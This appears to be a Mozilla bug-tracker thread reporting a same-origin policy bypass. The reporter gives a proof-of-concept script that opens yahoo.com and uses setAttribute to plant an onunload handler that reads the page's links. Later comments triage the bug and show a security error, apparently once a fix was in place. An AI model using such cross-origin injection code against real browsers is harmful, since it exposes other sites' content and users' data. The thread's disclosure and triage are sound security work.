It is possible to include JavaScript code in any HTML page using setAttribute and getElementsByTagName. This exposes the whole DOM of the target document, including content, input fields, links, etc. I use the "onunload" body event, but probably there are others ways. The code is: -------------------------------------- <SCRIPT> a=window.open("http://www.yahoo.com"); setTimeout("r=a.document.getElementsByTagName('BODY')[0];r.setAttribute('onunloa d','s=\"Here are some links: \"; for(i=0;i< ( (document.links.length < 10) ? document.links.length : 10) ;i++) s += document.links[i].href +String.fromCharCode(10);alert(s)')",10000); </SCRIPT> --------------------------------------

Marking dogfood for analysis by PDT at jar's request.

Very ingenious. I think setAttribute should be subject to the same origin policy check.

Putting on PDT+ radar.

Windows NT (1999112908) Com: Javascript Error: uncaught exception: [Exception... "Security error" code: "1000" nsresult: "0x805303e8 (NS_ERROR_DOM_SECURITY_ERR)" location: "http://www.nat.bg/~joro/mozilla/createel.html Line: 16"]

Bulk moving all Browser Security bugs to new Security: General component. The previous Security component for Browser will be deleted.